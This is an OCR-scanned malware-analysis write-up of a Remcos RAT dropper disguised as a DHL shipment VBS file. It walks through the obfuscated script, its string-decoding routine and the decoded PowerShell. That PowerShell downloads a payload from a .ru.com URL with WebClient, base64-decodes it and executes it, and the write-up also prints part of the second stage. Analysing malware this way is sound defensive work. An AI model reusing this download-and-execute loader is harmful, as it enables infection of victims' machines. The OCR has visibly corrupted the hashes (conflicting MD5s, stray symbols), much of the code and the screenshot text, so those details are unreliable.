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Sample:

5adef048a5e3b38alcfe3813955¢1770

BackgroundPermalink

Remcos RAT (Remote Control and Surveillance) is a malware tool used for remote control of infected computers,
typically distributed via phishing emails, malicious attachments, or compromised websites. It allows attackers to
capture keystrokes, take screenshots, record audio, steal passwords, manage files and manipulate processes and

services.

Static AnalysisPermalink

Database Entry

Intelligence @ 10Cs YARA File information Comments
SHA256 hash: a7024900ce77051e0df54b2553¢5c18a90daldc92fd8deaa9db50c2das51b549
SHA3-384 hash: a31ad52818a45f1af4e7f622327d913b8885778b0c83883e2cb5fc7d1f4a4b0710fcad7bbd039fd39e70b6d23917c16
SHA1 hash: 86b17210f9ce90466020115a3cfbd0as124289¢cf
MD5 hash: 5a4ef048a5e3b28a1cfe3813955¢1770
humanhash: foxtrot-football-yellow-alabama
File name: DHL_Express_Shipment_Confirmation_Notification_904088477321.vbs
Download: B download sample
Signature @ |
File size: 22'960 bytes
First seen: 2024-05-30 06:00:06 UTC
Last seen: Never
File type: = vbs

Figure 1: Malware Bazaar Entry

Page 1 of 9



https://Oxmrmagnezi.github.io/malware%20analysis/RemcosRAT/

This sample was uploaded to Malware Bazaar, impersonating a DHL delivery notification.

1 Set Genopbygge = CreateObject ("Scripting.Dictionary") ~
%

3

4 Blubberedsjoflest = Split("vejrkortenes™)

5

6 Udenrigsraads = "W"

7

%  Genopbygge.Add "1", "1"

9

10 Stymphalusforplig = Replace (Replace(Right ("Kostskolers",35) ,Replace("Engager35”,cstr (6909222) ,Time) ,Time) ,FormatDateTime (12/12/12),"Rodzone")

13 on error resume next

15 Ind9 = In9 & "fClothespins='5";5Clothespinsi="ubs';3Clothespinsi='tri' phomophene = 1;$Clothespinst='ng';Function
Flugtskuds ($presocial) {SANtidemocracy=3presocial . Length-shomophene; For ( $Antologia=4;$Antologia -1t
$Antidemocracy;$Antologia+=5) {$hydriodate+=$presocial.$Clothespins.Invoke ( $Antologia, $homophene);}$hydriodate;}function Smedemestres ($Resh"

1le In%9 = In%9 & "ipment) { . ($Sulevllingens) ($Reshipment);}$Heltinders=Flugtskuds ' ArrMTouco DeazCal.iU,stl S1.1 Proa C.b/Befob5E ko.PhotQUdsa S,ba(
idgWSolsiDesmn nddHippo DogwTidesHand P.nNUmlaTFunk Staml Hem0 Sem.St tO Nau; Ind BillW EneiExtrnTer.6Symb4 Lit;macr Gon.xFarv6Frk.4N, ad;Unel
BurerBea, vMind:0,yblForn2 Me.lpoly.Purp0Sibe) ,mp ,xteGSki eCi.icFe.tkMan"

17 In9 = In% & "to Phy/Hos 2Clyp0Sc rlkat 0Baud00ldflLyseOPot,1 Bar B lFMeasiC emrSluie UncfFa.voA,tix Pos/RisslFors2Man 15.id.SpisOEle,
';$Calusarl24=Flugtskuds 'TrknUFo 1sSp.ieU enr wal-P,rmANandgmedieLiponWarstvi e ';$Vejl37=Flugtskuds ' Te.h Tent .ostInd,pBali:Befl/Thom/ Th.sCor
hR.vee S.or OveeDolmiCynohBjlkn GoaaViuvoMusc.ophirPrimuVari.Cr.wc Orao L,vm.get/ dma"

18  In9 = In9 & "B.esne.laddReceevisidsturaStatgTappsFelsf rone TonrDunti,rhvelnt,rA vi. DrahHugehEge.k hap ';$Alemannisk=Flugtskuds ' Log>Opha
'i$Sulevllingens=Flugtskuds 'MedliPavee,oloxGaff ';$Tris='Cycloheptancne';$Privatskifters = Flugtskuds 'Serpe.nwhc ntehSkato Unp chou%FyrfaRundp
r,wpBrindNor, aBrnetGalva Dat%dehi\immulLGra a ImpcU.potButte.fleaGidsl Tryl EskyTr"

19 In9 = In9 & "et.MannHF kuvU.enepero Noni&Mono&m.ni B.oeop,icNyhehEaseoE er VredtU.gu ':Smedemestres (Flugtskuds ' ami$KbslgCycllErupo penbExaeaExcul
dfl:mor S Solu SmibLuftm DrueSulkrVenugIlde eUmbes la=Au t( KilcFortmP rrd Unr .enr/truec Art Bes.SPodiPk nfr DyniE.tevUdmaaLim t.elasRabikTr gi
CelfEasttLr.eeIncrr rieskK,to)Rigs ');Smedemestres (Flugtsk"

20 In9 = In9% & "uds ' Cr.$Omb gAft 1 ateo Va.bChowaTr al Maf:Ss eSKatapIconiNe.rdUddasNja.vNytaityphnUnlikFliml A.aelInter kopnArcte nss
Srv=RAugu$Me, mVHaaneBrnejRep.1,dor3Stor7 Sam. DiasGydepAdvelLulliSvejtBrys (Godc$VillAindilNonae AngmSkolaU,brn BannKodeiLor,sDirtkGrun) Tit
') i$Vejl37=5Spidsvinklernes[0];$Nutrice236= (Flugtskuds 'B.ec$BjergFor lExuco Pa,bS.ppaKamr"

21 In9 = In9 & "l1Ser :PlaylL RabyPersmTerrp th.h dsoFagogGy.ar C uaJabbnSwaguClomlt,anoMo.nmAntaaMetrtAnsva.pho=HerbNAnteeMar,wBrne-subrOBlyfb
PukjPyroeRickcPyknt S.n NonS.orgy eresbrsitBogseBladmPe,s.Un eN eveeHim.t Afs.BygnWIngee FllbFastCIntel.vari v

Visual Basic file length: 22,960 _lines : 382 Ln:19 Col:355 Pos:2,142 Windows (CRLF)  UTF-8 INS.

Figure 2: Obfuscated VBS

55 @

56 Set Parcel = CreateObject

57

58 Nondogmatically = DateAdd("s",8,Now)

59

60 Do Until (Taloners > Nondogmatically)

61 Wscript.Sleep 1000

62  Begejstr = Begejstr + 1

63  Loop

64

65

66 Colicalmargineretrivets = TimeValue("6:6:6")

67

68 L

69 ?Begejstr = chrw(Begejstr + 71)

70

71

72 Pseudocrystalline = chrii(34)

73

74  Krustader6é2 = "$systemroot%\syswow64\windows" + Begejstr + + Begejstr + "owershell "

75

76 Err.Clear

77

78 Call slewing(Krustader62 & Pseudocrystalline & In9 & Pseudocrystalline)

79

80

81 damaskernecoppersmithinge = "Billardks"

82 Disprovalforretningsudv = Ucase (damaskernecoppersmithinge)

83

84 If Err.number <> 0 Then

85

86 Devoicesfractoni = FreeFile

87

88 v
Visual Basic file length: 22960 _lines : 382 Ln:19 Col:355 Pos:2142 Windows (CRLF)  UTF-& NS

Figure 3: Second part of the VBS

We can already see strings related to PowerShell, as marked in Figures 2 and 3. I decided to clean the code a bit to

make it more readable.
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1 $Clothespins='S"'; 2
2 $Clothespins+="ubs';

3 $Clothespins+="tri';

4 Shomophene = 1;

5 Clothespins+="ng';

6

5 Function Flugtskuds ($presocial)
7
8 $Antidemocracy=$presocial.Length-$homophene;
9 For( $Antologia=4;$Antologia -1t $Antidemocracy;$Antologia+=5)
10 o {
11 Shydriodate+=$presocial.$Clothespins.Invoke( $Antologia, S$homophene) ;
12 }
13 $hydriodate;
14 }
15 function Smedemestres($Reshipment)
16 ?(
17 . ($sulevllingens) ($Reshipment);
18 }

19 $Heltinders=Flugtskuds ' ArrMTouco DeazCal.iU,stl S1.1 Proa C.b/BefoS5E ko.PhotOUdsa S,ba( idgWSolsiDesmn nddHippo
DogwTidesHand P.nNUmlaTFunk Staml HemO Sem.St tO Nau; Ind BillW EneiExtrnTer.6Symb4 Lit;macr Gon.xFarvéFrk.4N,ad;Unel
BurerBea,vMind:0,yblForn2 Me.lpoly.PurpOSibe) ,mp ,xteGSki eCi.icFe.tkManto Phy/Hos 2Clyp0Sc rlkat 0Baud00ldflLyseOPot, 1
Bar B lFMeasiC emrSluie UncfFa.voA,tix Pos/RisslFors2Man 15.id.SpisOEle, ';

20 $Calusarl24=Flugtskuds 'TrknUFo 1sSp.ieU enr wal-P,rmANandgmedieLiponWarstvi e ';

1 $Vejl37=Flugtskuds ' Te.h Tent .ostInd,pBali:Befl/Thom/ Th.sCor hR.vee S.or OveeDolmiCynohBjlkn
GoaaViuvoMusc.ophirPrimuVari.Cr.wc Orao L,vm.get/ dmaB.esne.laddReceevisidsturaStatgTappsFelsf rone TonrDunti,rhvelInt,rA vi.
DrahHugehEge.k,hap ';$Alemannisk=Flugtskuds ' Log>Opha ';$Sulevllingens=Flugtskuds 'MedliPavee,oloxGaff ';

22 $Tris='Cycloheptanone';

23 $Privatskifters = Flugtskuds 'Serpe.nwhc ntehSkato Unp chou%FyrfaRundp r,wpBrindNor,aBrnetGalva Dat%dehi\immuLGra a

ImpcU.potButte.fleaGidsl Tryl EskyTret.MannHF kuvU.enepero Noni&Monos&m.ni B.oeop,icNyhehEaseoE er VredtU.gu '; 9

)

Visual Basic file length : 5,057 _lines: 47 Ln:47 Col:24 Pos:5958 Windows (CRLF)  UTF-8 INS.

Figure 4: Cleaned VBS

As marked in Figure 4, this function is being called on almost every variable. Basically, what this function does is

take a large string and extract every 5th character to build a new string.

Operations Recipe BEE npu +0O0=z 8=

ArriTouco DeazCal.iu,stl S1.1 Proa C.b/BefoSE ko.PhoteUdsa S,ba( idghSolsiDesmn nddHippo DoguTidesHand P.niumlaTFunk

replace i
P Regular expression Staml Heme Sem.St t@ Nau; Ind Billl EneifxtrnTer.6Symbd Lit;macr Gon.xFarveFrk.dN,ad;Unel BurerBea,vitind:0,ybiForn2
s [ Me.1poly.PurpeSibe) ,mp ,xteGSki eCi.icFe.tkManto Phy/Hos 2ClypeSc rikat 0BaudeOldfllysedPot,1 Bar & lFMeasiC emrSluie
User defined UncfFa.voh, tix Pos/RissiFors2iian 15.1d.SpiseEle,
Bit shift right

ROT8000
Remove Diacritics
SHAO Case insensitive # and § match at newlines

Streebog
[ Dot matches all [] Unicode support [] Astral support
Substitute

format

Favourites * [ Display total capture groups =5 =4 Tr Rawmytes e LF
Data format P F e
Find / Replace Ergm &6 BOm o
Encryption / Encoding e Mozilla/5.0 (Windows NT 10.0; Win64; x64; rvi121.) Gecko/201@01e1 Firefox/121.0 |
- REGEX ~ Replace
Public Key
Arithmetic / Logic Global match [ case insensitive
Networking
Multiline matching [ Dot matches all
Language
utils
Date / Time

Extractors
BAKE
Compressien STEP - Auto Bake

R

Figure 5: Building Regex in CyberChef

After iterating over every variable and decoding it, we got the following output:
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18 }

19 $Heltinders=Flugtskuds 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 ';

20 $Calusarl24=Flugtskuds 'User-Agent ':

21 $Ve]l37=Flugtskuds|‘http://Shereihnao.ru.com/Bededagsferler.hhk|lnFs gaSlelk'iex '

22 SPrivatskifters = Flugtskuds 'echo %appdata%\Lacteally.Hve && echo t ';

23 Smedemestres (Flugtskuds 'Sglobal:Submerges=(cmd /c $Privatskifters) ');

24 | smedemestres (Flugtskuds 'S$global:Spidsvinklernes=$Vejl37.split ($Alemannisk) ');

25 $Vejl37=$Spidsvinklernes[0];

SNutrice236= (Flugtskuds 'Sglobal:Lymphogranulomata=New-Object System.Net.WebClient');

27 SNutrice236+=$Submerges([1l] ;Smedemestres ($Nutrice236);

28 Smedemestres (Flugtskuds 'SLymphogranulomata.Headers|[$Calusarl24]=$Heltinders ");
$Plotterne=Flugtskuds '$Lymphogranulomata.DownloadFile ($Vejl37,$Stereotypicl7l) '

N
o

) ©

P

30 $Stereotypicl71=$Submerges[0] ;Smedemestres (Flugtskuds 'sSglobal:Nonplatitudinous=(Test-Path $Stereotypicl7l) ');
31 while ('$Nonplatitudinous)

32 B{

33 | Smedemestres (Flugtskuds 'S$global:Understimuleret=$true ') ;

34 Smedemestres $Plotterne;

Smedemestres (Flugtskuds 'Start-Sleep 4 ');
Smedemestres (Flugtskuds 'Sglobal:Nonplatitudinous=(Test-Path S$Stereotypicl7l) ') ;
Smedemestres (Flugtskuds '$global:Saftfuldest=$global:Rubythroatl9l++%$Spidsvinklernes.count ") ;

38 | $Vejl37=$Spidsvinklernes[$Saftfuldest];
39 }
40
41 S$Forestillet=28017;
42 Smedemestres (Flugtskuds '$global:Jordpris = Get-Content $Stereotypicl7l ');
43 Smedemestres (Flugtskuds '$global:0kkuperingers = [System.Convert]::FromBaseédString($Jordpris) ');
44 Smedemestres (Flugtskuds '$global:Desorganiserer = [System.Text.Encoding]::ASCII.GetString (50kkuperingers) ');
45 |l Smedemestres (Flugtskuds '$global:Bespice=$Desorganiserer.substring(S$Terpede,$Forestillet) ');
46 Smedemestres $Bespice;
Visual Basic file length: 2,204 lines: 46 Ln:13 Col:5 Pos:332 Windows (CRLF)  UTF-8 INS

Figure 6: Deobfuscated VBS

As marked in Figure 6, we can see a URL and a specific byte location from which it reads and performs further

manipulation.
Second StagePermalink

In order to obtain the second stage of the malware, I needed to browse to this URL, which output a large string.

6wWI6NusCI1u7Z0cLAHEBM3EBmMWNCIARXAZVrAgDjuccCld3rAnLMewIAvYHXBEeKS3EBm3EBm4HXxwOUFKnEBm+sCCvBXAZvrAi8DugKQHANXAZYrAglR6WIg30sCGuYXyusCSO1XAZuIFAY ramsh6wL8ttHi6wIwg+sCFpSDwQTrAnd
P6wKmgqIH5XTuHAXzHcQGb cQGbi0QkBOsCwd 1XAZuIw3EBmM+sCY5CBW6 1nbwBXAZ txAZu6k605AnEBmM+sCGemBwg rQAPfrAl9VcQGbgeqde]r5cQGbcQGb6wIIbXEBm3EBm3 EBM4 sMEHEBM3 EBm4KME+sCmANrApNIQnEBmM3EBmM4HE6F
GEAHXX6WLQJ+sCy+eIXCQMEWK rIXEBmAHtAAMAAHE BmM3EBM4tUJAhXAZt XAZuLFCQEEWIki+sCplel6+sCvarrArdNgcOcAAAACQGbEWLBIFPrAlwtcQGbakDrAouLewIMf4nréwI rQXEBm8eDAAEAAACALGF XAZvrAuflgcMAAQAAC
QGbBWKWQ1PrAumREwKk04nrcQGbcQGbibsEAQAAGWIIZHEBMAHDBAEAAHEBM+SCLRFTcQGbcQGbav/rAsegcQGbg8IF6wIik0sCF1EX9usCVrZxAZsxyesCjtNXAZuLGusCbazrAlv3QesCFiIxXAZs5HAP183EBmM+sCZzvpGEWKXX3EB
m4B8Cvu4dd3rAoF jcQGbioQK/0sCIUIXAZs p80sCukzrAvLu/9LrAi3ucQGbuuhYBABXAZtXAZs XwHEBm+sCRy1iLfCQMEWL rVOsCypSBNAdZIm1becQGbewIwy IPABOSCSALXAZS SOHXKEWK Sk+sCYTeJ+3EBM3EBM/ /X6wIZjXEBMz8
ft9K8rzC241C5+pinng8aBcvasqtuD30nhs 7ICFByhalwtq71akLMLjjSvI/VIXwkC96I06TagMX183+nnAVnbYxms1qf2Du7LK@4ao0YcrogZ51iYFuBPwNd2F Jghix j42BnYUmBbiCxD4ANhiYFvhFGdbngM5WVkmxz21numb2IM5WV
km9tQ1puiB2KMSWVkmpNyuIuzuDSRtWEBWSWbZ2HYapgs SWVkmGKwYr9iWWCZt5RUxx7bYyClsxd3srX5bkBVh5ey16r2d5929VKrSk6BaliSZi31HZkqTc71SRYPUL3pGrg3nc21blae TvXtxDVThuypflXjogvEq6ZnQoxValSbkx
hUnbVuv43cIsWkiX1mjrNIcY1SYsPI+X1mpeD9YImezSTRh/7FBcVIZppI4@HtxPFACPdEDNG5Yz/npmHQppGhBGh5unppSxdz36ZBcaBPS5/@CamQLc6InSa3Hf pSwpus8SBC2KTzv IKXSbkHNGE IEFIewlV+c7iS1@mSNERIm1bsF4m
X1k FtAPQMXNZWSYLYoGvqgw/07bQ5FhviiinQqzgzd 5LukSZtWShbGccwImiUlLnwiinOuR1dIuyinQ81HACIXVpZIu2m28BULpSiSVPI20ax3ef sH30upts 1B+mO2F I IU+68rAZYSk1Ts SHEANnajzPuGkgysbV2X1kpbK1nQgNe+3v
0iA03IYkCrzBDOmt14TrdqgIomQyDoc7srEcm60/Yybt2IHrkVKPGF/be T2MdG1EBcwbOpktdJuTewSZtw+YwU J+r0ydEGUAQNjQIHVL Eeyt TVXoyQué 5L 1QFPDFm1VK cP94Smeh+dLoIBmroP2IDYOLGE 16KSuCbzpmOYaD71yhgK
ypfqFlvD1g7Tdig3jk3iwkbVvhZsGRreqackxEVdhAMLcqtAvgake3fclZalub+AjFGzQSPiBKWXsZUr roAdM8UIt7GHVTzokFyfhpIEQI+27gbo9@NxTb1tZ6uMc Imixynx LhtGWP590gFDVbie2G+ci5XFXqnkeW31Gg6gnQnLsSp
orv+mhDizQkcoXrciItesyzbFtZr68L4Qhn44kTu/ JQIVANLUYYXINNYyjQNt rqMmFximLhhe jRaHCG31IgtTZQNiUtvxwboZOZAwt31F uz2jDagFXoDfqnrP9 c2zSUIKGBYVzve 56tosufTVYMOFbESyUzHMI6s T9TIbDegdOPFNS
+DmZAtKz+FpZJoUsbyRtCeN9+qWQp5/3LUPN2psvTZ/UdfHSuid+xtzuGFzu8zuRgOPY7 jUS5PgVqikdkRwOrUrqgJgpAvSscYGofq/ kzQA/@armfHWFNGt r1pf83FI/grkFh2S j1n9ge8DaXQLOFGAH7GI9pGh556dBFIajCFfgknbs
FpAPsqKEIMtPY5cKpKnDsqEpGel/QNXCXDY13ZwI77GGBcD/0o2WgbloxaiElLHeJZ7hzxxwLOuUZdIqEkves5L1qeGwbpIY89X2iIrTufeaDBOBswWwxBn7IN4t7dImlblaniFTuzOhfk1WtYj905/ycC4WNOPUbW3SZtWwifp/ LnN+
yqj tI@H9JPDHC+c+R1iUGO+Ihq/SWahusY9+z+wmb+Ej6SsPISRW426XglnZ7yFIIWgDX/ X7NrcRFSeGe@/I+YeFPcjjfVhV++zfChplwmeA7KaGUDRo/xwdiZ6hXrQF lnnA9bqd8FnP IRINWNYGN1GDiwgVaoKV74bA7MXMENQLT3r7
KCVHCMNFsWBNdLcBmxbWa/YI1smbeWusZYpC5y@59387ImNQgKa2MwK 2ED27InjRHPVDrrk vF gx8D3c4BVThckVZwe]jloYZmZqeYKZiBQbNKYgAERMhOM7r Ews4ek IuGozUPbCvZjibla/gTamAFbuX@OP1NGWNXMCz3247RU4/ Gme4
qQnNmxsM5gHS1DCd/ SHGo63XAdFQNGhh8T/hVhXS3NjM7x0ms ey pQ7qpHdjU2QfD1+y xNgaMQoAcbmAefS8FqgTXviice6p9XIveHb48mtUF 8/ 6qruex25Hky/ cpvEldmcuiNckc@cBEUSAE InsnRNpdYj3TgD26ekRrIbIF8ix188dK
732/GYNESSoffNDky/2R/Nj8SmoqefUrgAnj3qFuuXzglfylbq7hg+6S8ale@j1CPxIfalFIbIFkmYtStvmlbAeDs 0ODANdqvg+XV2CmqYWpfMkItNy /shKjsrVCKIHOWFMshHVNB4tOU3XxGtew/ey07333F7yJ4urFx0+KoN1l+Yc/Q
eL643mZGFNb786hUUPrdgmiyZtDed 7k JwlpSulw/9N2rfqdFYdpSsmNn6E2rfYIhObr3021GAhOKdSFGrMkVFAEWdCqdP+amxspAlb6kmlu+d@7MEma84xGLID7 3+45stn5keFsZhKX1ng@IhhS/pzOw21hXdGbGeo70ZIxYh3QG/ 5
N5x321bCJ/YBscs7Kp+Sedt20e045L27LKzSGNz 2M/mIIMPOs FQUIWRUXKOrk@L68wVeTbC3R1i3h3IqcCmoF Zz1Xz8eVtM2LEc T7kPunVYdujvAzVR4A/ pxAr4/ttiWlapOhldJjI92N2aAQDqeQUZQgWalDe3kMwXUBRPrSBHAWZIWKTh2
1f1X3 jduHWbgBVWSGWVXC5GGLTTKYOEcP+ErdezZWUIHaEqjife8czj9dTe TVSvZWbaTpoFW2yx TIAHOC 1BdIuTeGSd t5XaAbMz13M4p+D02bHMUMQHgHHHIY3PDE4bBOVERT/hCeGmedjUVEEXVOYx67gX1djkiBTxHUypXXc9edA
8/nuZaUlwiNAzOeDbIDy TAECaMwPx6pz1GhsYOIAKL3711YIymwZvBACNZ8FBG22YpFADr93/WCZt5QLgcQeVn5 cqAQcMTRE2bsnPBVR186WVkmZBrX8d50FE10Ts 1dEAy2aEYYazS4Pw29 jgZML ImuydLyMLVwifwQDUDOyqEF52b9
JXcA2rb+yamUv289AX938ihYGtFE2 FmlVIBWLY® IS /XuMIAxyXSYps2cXEywuI5ON15GOXMSW7OQXTE35T/GihDtAVZ xiYS+Vvy /kFE7U/ THhQSPjKerqgBaEkoF 152BT806Lk /IDD63Y/ 1gmbQnIY7etGaeHanupMdgrukL r2Ke T
TIXCNILovuMkgq51+UQyVFdM1IAXE c6M8FFF1IF7gt8vr+E6F1rNzNFbWKP 2BIIQ0@RbI dV+54nh821 2nUCgPuL JOxvFRSTPNN11s04/I3amvAAGhSnnqWzZ8jaqrbj 1t JwdK/L3PGYPEWREWIPd]/mgbYFOHAZSPUY8USWnkgKkwd
jkStbtzTj4sV5f3sI118Y1tZKeIIGSItBdhbGYS6IMLUL1HAW119Y 1qrbijLMeZkBp8DTduireUekmSOpByyCZXx62b6YYpzwSMGY] py JMTS7tRX4MVrKg TIWAVFOF4FUSFA6+WYL skAznhgeNyiAwr4+9S Iqget7POHMPOYXFYXICZ
+qkPrLgrgYt7db6ecol 8R6dqoiF qSwqecNU9eRNIASNANTuLbAj EHGP8] TuBAV] ghwm2CMP sYFzUHIMRVNmhZ 7T4grE riwXgkXxaZC4m8zCbVeA187/ uYTOptAuL lw/ 8942KXF1Zs cD6XNwsOaIdF5GMIGRIIrSSmMVA1+Y1qqyj IPW]
ygqH3hnMNNt94t6NQtHWHtMmWL6bvmGEqC4SDs sdliwedetpqdZfec8eiMLnFSFc+TssaA031bY1MFzoejssUCb4yHQHP1+MmOen49 FOWF FNU1gFXGYnObGdeizA7xhr JhZAQmeiDRPXWiyc JazdvAAIXpsAX93QXDx0ravasdbd/xFKe
Ns/kFzs1Y5/3qoMVA/bdrpgW2G2H/ pFhhgMjES2LGKF ZEKE 2NXOMu@4M20Bfux3fSeS2eR31JAD6MXaq05BMAInhGak rVfagK SVE9CnhB8mdfsLxa+NU1G7 C2KFWG/ZUBt7Fs5Fd2WcA15DzDodw+IkMIm5QemlAR6ZAFFisLPxr/jx
WCZt4abPC12VAIT1BA/ /jh8z0wF 76Ltg/8ahqxHBWGEZNAOpR73mE8IKy+41IUs8 qeft jD/LtqblDugbnbVxBbMmmE TXAQYbHNZ2Mdw8dK /L 2vG3eUffiroKZ/ yXN7Ykcnrilc8g3heTVIVxiuz ISVeF RMFAMBRE /PGibYsVFs60CB O
JZGnF8ATfRqgdRCVgD2MzP jePfPuBHgUj22M2aPe7173h/STKq2M1EP1DF7LCgI6mXOC20STY11vAfs1ZngQgikrByLIKLVI5SswkImAAqdgbd+wOyoKwTFINGVZy sviOyo27YrFdjVe3T8rzrHeMFsRMSipyRTLF g+NIt6hE2GdY@+pW
bGPx+1BNjcdihPIDYIC5wv/ r4L7Knf52Hr20Rqr11u7Kn0IqD72NQxXB 3hJPMFQxX2xKXB6 /LOLFFh4Kxof lwWEpz IC37gz8kNJ27n3wF FEAY IZoNtrEXVEpPEaQeLMBrA7ctZtqYFfN38ND1g5TFQz IxsW1LOPwiLuwX+7mozVFn8yB3Ye
8S0alPzzd7Rv2rNehAtpLeMOsYo+rUlUcOLN6zrZKGAUJeZ9F SrIrnkpzCnQX9F +14d 2ApI It GkVpeEPQE3AQQZzU2YE 29tDD886 LNGY uMO1 LNp1Ap cKz/oFQBOVDt LUg2XxbWZ+WXuuBPuAWG7A320VERZKX7I1VWE952NX/ESXp73i/
1IUrCLrkulg/8N+KVWHQjn11S@eyazqtfg+6KBolTa2cSqldVCwb7RzZB2tU6CbIGNY ZE8q8H+Gy+3M/H7QC3e42C+HG3gwnE+re2zdYDidmgl7uF cAIXEO8InKvXV/BctzNKhLCIp6Yh7wor3LSa7VIyalPf21UnuVVNX7sqrr2Y92
Vvjr9IRsdI9jPPWeF buyaGkfyfQmeQepIjlglhlCsdtmQCjPQIgXdDXEPpnXufeMIBPVIWSwwWZekYxGfibtyqkHE sX8QF35tb8J21bMZ 1TebNOv4e6WEEnwKopGy npujx5zXCZ+x8nPawOUwRWSOMUPtaFXt5B]2mH9ImxuHxcvHB1x
GOKuxvFdkCC14pbENNYUcYT2yVV1YwPoC /WQt vMNp8Gge0xQldWUQU3e087dvvZKSY]t+1P /Mkie3+eLrYEKnDP lobgFbhXzzCvj5vmAVqGSvgnRYmhOxvFYa41lVW0531zS2KcbtsvmLCI4WvxexWefyy/a0Vpgol50go9bglomp8eF
C5om7FOsNXKHE /d1b1rVeHonYIwfzHrQCODp11/etI17GdgiSQgM+XPaXQKmi6huPuARWOOE 2NUkp3917K1i8IBs720V5utabPMfQx2xCxKK3Ik8uhwey1Qm7QrShISeBQPUte97IdnodGH7/ObRFF8LKMeVWp+2zH1T2uSeKWAK cQELb2
bVtWor3sWCY2s9oUaVuVkErBAIrsUUynneUg0dj6nA35IUK28PoZVtwBV60Z/ /0qK0fMg3NLh993Q/4pbEssYXnAhdeQL /BG1IXMLIhQA gl /AAVTUKI jIcoAf113h5TeGYzqgypac7xQ6wP2rorad1iXqIGZH8Im66WdHVPARRI+v10
1iTybwCHQN7HL IQHMskGxg2 1hQF g6gnEt TITwZ92z qwdphiwifYCWF /+ya+4IDedjnc5Ls JeRategwywnS/nb8Jull skcNPyuybSSNAfpikX5/ IxbsMxFXPISB76cArGSFVOZddYUVMUL 2pXVSuyp55PprXgok Toej TuT/+1N3srsy

»

Figure 7: Seeing The content of the URL

I used CyberChef to base64-decode this file and went to the specific location marked in Figure 6. This revealed

the actual second-stage malware.
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Operations Recipe BE T npu +0O=3F =
Search... From Base64 on A@KI1Rha3NhdG1lvbnNrb21ubllzc21vbmVuIEJ1ZHNOZXZ1bmS1emS 1IF NsdWlyZWR1TGx1cGOyakRzIFVubWFycnlpbmcgQmymb2xrbmluZ3Ntc3NpZ2Ug
Favourites * R - Remove non-alphabet chars

To Basebd

From Base64 [ strict mode

To Hex

From Hex

To Hexdump

From Hexdump

URL Decode

o Tr fan pytes € LF
Regular expression F e
Output Bom::
Entropy ¥, B1GXVA 1< %00 o1& 2 BaceD- 50 oY -sruh@eorersOMNzse 3&A2 s KABER 2 us e "M ) YorToDlike o «0CT?. »+H<#Scowl Crackleware Catechins
#5cn
Fork Skoadman=Flugtskuds 'Kphe\ LipsknucyFonts .esw Desollon,w ,ra6Udpiak,an\Per.bevinisin n odsd,info
sti iPNo, soi i ig i .
Magic ,peeskil\BentpBlodotiljusupeesubtrciphs K1 hBalleax.sl,krkIC le. .umeDe,axderne Mal '
SHogg=Flugtskuds 'MoonpDenso Go.w Qu.eCommr GlasDamehCosseKonmlSe,ilRhiz. Funelkuex roteDaff 'ex
Find / Replace sskanfilendes ~Flugtskuds 'AdjueH nexijerisejrt ist ‘o
Smedemestres (Flugtskuds 'Aden$ SvigSubsl KuloCae b .efas pelSton: Bu,RWatceb.dycOmbua
Data format BesnB, detCrunsD. kk=ProssTelee BeunFredvoop, :Flotwkulsi Sa,nIndidLogii.nubrkvin Ho,m+Funk Nonts.rathdiabo
B2, aBarndProkn Tekastr nlac, ') «
Encryption / Encoding Smedemestres (Flugtskuds * for$ NocgAmnelFodtoMe.lb,ilsa ettlphen:blveDbilleAntls BiliJordnOverf HusiOvercP.ope
Fjerkro.10ve.nUn, agAvansF1 nm FuriResud P elt.grewhe.r ,dfnSchost as it Abtr(Vk.t(.amagPr.viUdbimbilliPlag

Public Key Opstulo FiloadnCran3K.mm2Brun_ VidpCzecrs. skoCarncTrope HolsFritsIrre ani- SjaF Ska MyrPSamorAmylo
be JumbsStriTF1jtd,pen-Hazagveam{An,sP St.IZaniDTtni} ,tu) Baa.sma,CS.ndoReutmiazamd thas rin
Arithmetic / Logic HuldLuftLCamai BimnglaseHjer)kre, .ore-stabsLivrpUnpolBorgiEmmat ko Nobb[ T.acAfskhUddaaOldnr ers] Pe.3agri4flng ")

o STEP BAKE! Amm smedemestres (Flugtskuds 'Ho,o$?.ergPar. Ibia. olonibrudna ,ualspkbiPrieg S,ha Palndk. hnBaldoBirtmeurakrdsdFort
e 312552 15 [Q zeems @ 1s2ms Tr Raw Bytes s LF

Figure 8: Base64-decode

Copying the entire code to a new file revealed that it uses the same function (Regex) as before and a new encoding
method.

1 $Woadman=Flugtskuds 'Kphe\ LipsKnucyFonts .esw DesoNon,w ,ra6Udpi4K,an\Per.WeviniSin n odsd,imfo StiwSublsOmgiPNo,soi Al
wrwSammeoppirFlekSSigrhPosneSilul .redlDeva\ConsvSvinlBron. ,pe0OSkil\BentpBlodoMiljwSupeeSubtrCiphs K1 hBalleAx.sl,krklC le.
.umeDe, axJerne Mal '

2 $Hogg=Flugtskuds 'MoonpDenso Go.w Qu.eCommr GlasDamehCosseKommlSe,ilRhiz. FuneUkuex roteDaff

3 $Skamfilendes =Flugtskuds 'AdjueH nexNjerisejrt ist '

4 Smedemestres (Flugtskuds 'Aden$ SvigSubsl KuloCae b .efaS pelSton: Bu,RWatceb.dycOmbua BesnB,detCrumsD.kk=Pros$Telee
BewnFredvoop, :FlotwKulsi Sa,nIndidLogii.nubrKvin Ho,m+Funk Nont$.ratWdiabo Ba,aBarndProkm Tekastr nLac, ')

) Smedemestres (Flugtskuds ' for$ NocgAmnelFodtoMe.lb,ilsa ettlphen:blveDbilleAntls BiliJordnOverf HusiOvercP.ope
FjerKro.iOve.nUn, agAvansFl nm FuriResud P elM.greWhe.r ,dfnSchoeG as Cit= vit Abtr (Vk.t(.amagPr.vwUdbimbilliPlag OpstwNo
fiLoadnCran3K.mm2Brun_ VidpCzecrB.skoCarncTrope HolsFritsIrre ani- SjaF Ska NyrPSamorAmylo

becc,epueSvensJumbsStriIFljtd, pen=Maza$Yeam{Am, sP St.IZaniDTtni} ,tu) Baa.sma,CS.ndoReutmLazamB thaS rin HuldLuftLCamai
BimnglaseHjer) kre, .ore—stabsLivrpUnpolBorgiEmmatU ko Nobb[ T.acAfskhUddaaOldnr ers] Pe.3agri4Flng ')

© Smedemestres (Flugtskuds 'Ho,o$P.ergPar.lDia.oJonibrudma ,walSpkb:Prveg S,ha PalmRk.hmBaldoBirtnneureKrisdFort Unvo=Ci a
Ludes$sSpliDVapoeCa.nsCatci F rnM tafhomoiTr.fcRefoeKanars,umiSkmtnOvergNe ksSw.mmErytiReordBl.kl Dite

